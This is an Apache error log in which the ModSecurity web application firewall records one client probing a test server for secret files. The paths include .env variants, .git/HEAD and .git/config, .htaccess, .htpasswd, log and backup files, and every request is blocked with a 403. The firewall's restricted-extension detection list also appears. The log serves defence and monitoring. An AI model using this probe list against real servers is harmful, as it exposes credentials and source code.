[Sun Mar 22 01:06:18.862958 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdAAAAAg&quot;]
[Sun Mar 22 01:06:18.884948 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env~&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdQAAAAg&quot;]
[Sun Mar 22 01:06:18.885147 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env~&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdQAAAAg&quot;]
[Sun Mar 22 01:06:18.885307 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env~&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdQAAAAg&quot;]
[Sun Mar 22 01:06:18.907252 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdgAAAAg&quot;]
[Sun Mar 22 01:06:18.907454 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdgAAAAg&quot;]
[Sun Mar 22 01:06:18.907588 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdgAAAAg&quot;]
[Sun Mar 22 01:06:18.929536 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/HEAD&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdwAAAAg&quot;]
[Sun Mar 22 01:06:18.929732 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/HEAD&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdwAAAAg&quot;]
[Sun Mar 22 01:06:18.929891 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/HEAD&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFdwAAAAg&quot;]
[Sun Mar 22 01:06:18.951862 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFeAAAAAg&quot;]
[Sun Mar 22 01:06:18.952061 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFeAAAAAg&quot;]
[Sun Mar 22 01:06:18.952213 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFeAAAAAg&quot;]
[Sun Mar 22 01:06:18.974177 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/logs/HEAD&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFeQAAAAg&quot;]
[Sun Mar 22 01:06:18.974448 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/logs/HEAD&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFeQAAAAg&quot;]
[Sun Mar 22 01:06:18.974600 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/logs/HEAD&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFeQAAAAg&quot;]
[Sun Mar 22 01:06:18.996594 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /config/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.gitignore&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFegAAAAg&quot;]
[Sun Mar 22 01:06:18.996807 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.gitignore&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFegAAAAg&quot;]
[Sun Mar 22 01:06:18.996948 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.gitignore&quot;] [unique_id &quot;ab8yervc1sKRk16HHKMFegAAAAg&quot;]
[Sun Mar 22 01:06:19.018971 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.htaccess&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .htaccess found within REQUEST_FILENAME: /config/.htaccess&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFewAAAAg&quot;]
[Sun Mar 22 01:06:19.019175 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFewAAAAg&quot;]
[Sun Mar 22 01:06:19.019311 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFewAAAAg&quot;]
[Sun Mar 22 01:06:19.041266 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.htpasswd&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .htpasswd found within REQUEST_FILENAME: /config/.htpasswd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfAAAAAg&quot;]
[Sun Mar 22 01:06:19.041469 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfAAAAAg&quot;]
[Sun Mar 22 01:06:19.041616 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfAAAAAg&quot;]
[Sun Mar 22 01:06:19.063444 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/access.log&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfQAAAAg&quot;]
[Sun Mar 22 01:06:19.063838 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/access.log&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfQAAAAg&quot;]
[Sun Mar 22 01:06:19.063982 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/access.log&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfQAAAAg&quot;]
[Sun Mar 22 01:06:19.108214 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/app.js.bak&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfwAAAAg&quot;]
[Sun Mar 22 01:06:19.108624 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/app.js.bak&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfwAAAAg&quot;]
[Sun Mar 22 01:06:19.108761 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/app.js.bak&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFfwAAAAg&quot;]
[Sun Mar 22 01:06:19.242745 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag 